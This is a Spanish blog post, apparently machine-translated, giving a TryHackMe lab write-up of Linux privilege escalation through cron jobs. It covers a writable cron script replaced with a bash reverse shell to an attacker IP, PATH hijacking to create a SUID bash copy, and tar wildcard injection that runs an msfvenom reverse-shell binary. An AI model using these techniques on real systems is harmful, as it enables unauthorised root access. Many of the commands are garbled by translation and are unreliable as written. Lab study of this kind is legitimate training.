[Tryhackme] Elevación de privilegios usando trabajos cron! Linux Privesc Escritura Parte 5

[Tryhackme] Elevación de privilegios usando trabajos cron! Linux Privesc Escritura Parte 5

Esta vez, intentaremos "elevación del privilegio usando trabajos cron".
La máquina de destino usa la habitación debajo de TryhackMe.
"Tryhackme-Linux PrivSc: https://tryhackme.com/room/linuxprivesc "

Este artículo es la Parte 5.
Si desea verificar la redacción de Linux PrivSc con TryhackMe, también verifique Elevación de privilegios utilizando las variables de entorno LD_PReload y LD_Library_Path

Tenga en cuenta que la explicación es spoilers.

Libros de referencia recomendados
\Rakuten Points Venta! /
Mercado de Rakuten
\5% puntos de regreso! /
Yahoo compras
Autor: Ipusiron
¥3,850 (A partir de 21:11 el 08/07/2025 | Amazon Research)
\Rakuten Points Venta! /
Mercado de Rakuten
\5% puntos de regreso! /
Yahoo compras
Autor: Justin Seitz, Autor: Tim Arnold, supervisado por: Mantani Nobutaka, Traducción: Arai Yu, Traducción: Kakara Hirosei, Traducción: Murakami Ryo
¥3,520 (A partir de las 12:26 el 07/07/2025 | Amazon Research)
\Rakuten Points Venta! /
Mercado de Rakuten
\5% puntos de regreso! /
Yahoo compras
Tabla de contenido

Preparación

"explicación"

SSH user@10.10.166.11 255 ⨯ La autenticidad del host '10 .10.166.11 (10.10.166.11) 'No se puede establecer. RSA Key Fingerprint es SHA256: JWWPVFQC+8LPQDA0B9WFLZZXCXCOAHO6S8WYGJKTANK. Esta clave de host se conoce por los siguientes otros nombres/direcciones: ~/.ssh/Know_hosts: 1: [Nombre hash] ¿Está seguro de que desea continuar conectando (sí/no/[huella digital])? Sí Advertencia: agregó permanentemente '10 .10.166.11 '(RSA) a la lista de hosts conocidos. User@10.10.166.11 Caseña: Linux Debian 2.6.32-5-amd64 #1 SMP martes 13 de mayo 16:34:35 UTC 2014 x86_64 Los programas incluidos con el sistema GNU/Linux Debian son software gratuito; Los términos de distribución exactos para cada programa se describen en los archivos individuales en/usr/share/doc/*/copyright. Debian GNU/Linux no tiene absolutamente ninguna garantía, en la medida permitida por la ley aplicable. Último inicio de sesión: viernes 15 de mayo 06:41:23 2020 desde 192.168.1.125 Usuario@Debian: ~ $ 

Elevación del privilegio utilizando trabajos cron

Cron Jobs es una característica que permite a los usuarios programarlos para ejecutar en un momento o intervalo específico.
Usemos estos trabajos cron para obtener privilegios de raíz.

Trabajos cron: permisos de archivo

Primero, veamos el contenido de Crontab.
Crontab contiene la configuración de Cron Jobs.

usuario@debian: ~ $ cat /etc /crontab # /etc /crontab: crontab # en todo el sistema # A diferencia de cualquier otro crontab, no tiene que ejecutar el comando 'crontab' # para instalar la nueva versión cuando edita este # y archivos en /etc/cron.d. Estos archivos también tienen campos de nombre de usuario, # que ninguno de los otros crontabs. Shell =/bin/sh path =/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/usr/sbin:/usr/bin # mh dom lon comando de usuario 17 * * * * CD/&& run -Parts ---Peport /etc/CRON.HOURLY 25 6 * * * * Root -x/usr/sbin/anacron/anacron | (CD /&& Run -Parts -Report /etc/Cron.Daily) 47 6 * * 7 Root Test -x /usr /sbin /anacron || (CD /&& Run -Parts -Report /etc/Cron.weekly) 52 6 1 * * Root Test -x /usr /sbin /anacron || (CD/&& Run-Parts-Report /etc/Cron.Monthly) # * * * * * * Root Overwrite.sh * * * * * root /usr/local/bin/compress.sh

De lo anterior, puede ver que hay dos trabajos de Cron programados para ejecutarse cada minuto: "Overwrite.sh" y "/usr/local/bin/compress.sh".

Ahora, busquemos el camino completo para sobrescribir.

Usuario@Debian: ~ $ localate Overwrite.sh /usr/local/bin/overwrite.sh

Resulta ser "/usr/local/bin/overwrite.sh".
Continuemos revisando los permisos de acceso del archivo.

Usuario@Debian: ~ $ ll /usr/local/bin/overwrite.sh -rwxr-rw- 1 Personal raíz 40 13 de mayo de 2017 /usr/local/bin/overwrite.sh

Sobrescribir.sh es escritable para cualquiera.
Ahora, reescribe sobrescribir.sh y ejecute el shell inverso.

usuario@debian: ~ $ vi /usr/local/bin/overwrite.sh user@debian: ~ $ cat /usr/local/bin/overwrite.sh #!/bin/bash bash -i> & /dev/tcp/10.18.110.90/444 0> & 1

Una vez que haya terminado de reescribir así, vaya a la máquina de ataque y escuche con NetCat.

┌── (Hacklab㉿hackLab) -[~] └─ $ NC -NVLP 4444 escuchando en [cualquiera] 4444 ... Conéctese a [10.18.110.90] de (desconocido) [10.10.166.11] 52692 Bash: sin control de trabajo en este shell@Debian: ~### 

Creo que puedes obtener el caparazón de la raíz en menos de un minuto.
Solo para estar a salvo, correré Whoami.

root@Debian: ~# whoami whoami root@Debian: ~# 

¡Ahora tienes privilegios raíz!

Trabajos de Cron - Variable de entorno de ruta

Volvamos a mostrar crontab.
A continuación, echemos un vistazo al hecho de que la ruta contiene "/hogar/usuario".
Overwress.Sh está configurado para ejecutarse si está en un camino, por lo que puede ejecutar Shell haciéndolo como sobrescribir.sh.

usuario@debian: ~ $ cat /etc /crontab # /etc /crontab: crontab # en todo el sistema # A diferencia de cualquier otro crontab, no tiene que ejecutar el comando 'crontab' # para instalar la nueva versión cuando edita este # y archivos en /etc/cron.d. Estos archivos también tienen campos de nombre de usuario, # que ninguno de los otros crontabs. Shell =/bin/sh path =/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/usr/sbin:/usr/bin # mh dom lon comando de usuario 17 * * * * CD/&& run -Parts ---Peport /etc/CRON.HOURLY 25 6 * * * * Root -x/usr/sbin/anacron/anacron | (CD /&& Run -Parts -Report /etc/Cron.Daily) 47 6 * * 7 Root Test -x /usr /sbin /anacron || (CD /&& Run -Parts -Report /etc/Cron.weekly) 52 6 1 * * Root Test -x /usr /sbin /anacron || (CD/&& Run-Parts-Report /etc/Cron.Monthly) # * * * * * * Root Overwrite.sh * * * * * root /usr/local/bin/compress.sh

Ahora, copie "/bin/bash" bajo "/home/user" y agregue permisos de ejecución y permisos de Suid.

Los permisos Suid son un mecanismo que se puede ejecutar con los permisos del propietario del archivo cuando otro usuario lo ejecuta.
En este caso, podrá ejecutarlo con privilegios raíz.

Usuario@Debian: ~ $ vi /home/user/overwrite.sh user@debian: ~ $ cat /home/user/overwrite.sh #!/bin/bash cp/bin/bash/tmp/rootbash chmod +xs/tmp/rootbash

Después de esperar aproximadamente un minuto, ejecute el "/tmp/rootbash" copiado con -p.
¡He logrado obtener un caparazón que se ejecuta con privilegios de raíz!

usuario@Debian: ~ $ /tmp /rootbash -p rootbash -4.1# whoami root

Cron Jobs - comodines

A continuación, echemos un vistazo a otro caparazón.

Usuario@Debian: ~ $ Cat /usr/local/bin/compress.sh #!/bin/sh CD/Home/User Tar czf /tmp/backup.tar.gz *

El comando alquitrán usa comodines en el directorio de inicio.
Tar tiene la opción de ejecutar comandos como parte de un punto de control.
Esto se usa para ejecutar la carcasa inversa.

Primero, use MSFVENOM para generar una carcasa inversa.

┌── (Hacklab㉿hackLab) -[~] └─ $ msfvenom -p linux/x64/shell_reverse_tcp lhost = 10.18.110.90 lport = 4444 -f elf -o shell.elf [ -] no se seleccionó la plataforma, elección de msf :: módulo :: plataforma: lineux de la carga de pago [ -] no, no seleccionado, seleccionando la plataforma de la plataforma, elección de MSF :: Módulo :: Plataforma: Linux de la carga de pago codificador especificado, salida de carga útil Tamaño de carga útil: 74 bytes Tamaño final del archivo ELF: 194 bytes guardados como: shell.elf

Esta vez, transfiramos archivos usando SCP.

┌── (Hacklab㉿hackLab)-[~/Tryhackme/Linuxprivenv] └─ $ scp shell.elf user@10.10.166.11: ~/user@10.10.166.11 Castaz: shell.elf 100% 194 0.8kb/s 00:00 

Regrese a la máquina de destino y verifique si la transferencia se realiza correctamente.
Había shell.elf.

Usuario@Debian: ~ $ LL Total 12 -RW-R-R-- 1 Usuario de usuario 212 15 de mayo de 2017 myvpn.ovpn -rw-r-r-- 1 usuario de usuario 194 de abril 6 09:18 shell.elf DRWXR-XR-X 8 Usuario 4096 May 15 2020 Herramientas 2020 Herramientas

Subvimiento de permisos de ejecución a shell.elf.

chmod +x /home/user/shell.elf user@debian: ~ $ ll total 12 -rw-r-r-- 1 usuario user 212 15 de mayo de 2017 myvpn.ovpn -rwxr-xr-x 1 usuario user 194 de abril 6 09:18 shell.elf drawxr-xr-x user user 4096 1520 Herramientas 2020 Herramientas 2020 Herramientas 2020 de 2020 Herramientas 2020 de 2020 Herramientas 2020 de 2020 Herramientas 2020 de 2020 Herramientas 2020 2020 Herramientas 2020 2020 Herramientas de 2020 2020 Herramientas de 2020 2020 Herramientas de 2020 2020 de 2020 2020 Herramientas 2020 2020 Herramient

A continuación, cree el siguiente archivo:
si establece la opción TAR en el nombre del archivo, se tratará como una opción en lugar de como un nombre de archivo.

user@debian: ~ $ touch/home/user/-checkpoint = 1 user@debian: ~ $ touch /home/user/-checkpoint-acción=Exec=shell.elf user@debian: ~ $ ll total 12 -rw-r--r-- 1 usuario usuario 0 abr 6 09:26-checkpoint = 1 -rw-r-r-- 1 usuario user 0 abr 6 09:28-checkpoint-acción-acción-acción-acción-accion-action -rw-r-r-- 1 usuario usuario 212 15 de mayo de 2017 myvpn.ovpn -rwxr-xr-x 1 usuario user 194 abril 6 09:18 shell.elf DRWXR-XR-X 8 Usuario de usuario 4096 May 2020 Herramientas 2020 Herramientas

En este estado, escúchalo usando NetCat.

┌── (Hacklab㉿hackLab) -[~] └─ $ nc -nvlp 4444 escuchando en [cualquiera] 4444 ... conéctese a [10.18.110.90] de (desconocido) [10.10.166.11] 52692 Bash: sin control de trabajo en este shell root@Debian: ~# whoami root root@debian: ~######################################## 

¡Ahora tienes privilegios raíz!

resumen

Esta vez, probé "elevación de privilegios usando trabajos cron".
Como es una característica que uso con frecuencia, me siento un poco preocupado de haber estado trabajando en ello sin pensar en nada hasta ahora. . .
Siempre tuve tanta curiosidad sobre si esto se podía hacer.

Referencias y sitios

Medium ( Shamsher Khan ): https://infosecwriteups.com/linux-privesc-tryhackme-writeup-bf4e32460ee5

¡Comparte si quieres!

Quien escribió este artículo

Este es un blog que comencé a estudiar la seguridad de la información. Como nuevo empleado, sería feliz si pudieras mirar con un corazón amplio.
También está Teech Lab, que es una oportunidad para estudiar diversión de programación, por lo que si está interesado en el desarrollo de software, ¡asegúrese de echar un vistazo!

Tabla de contenido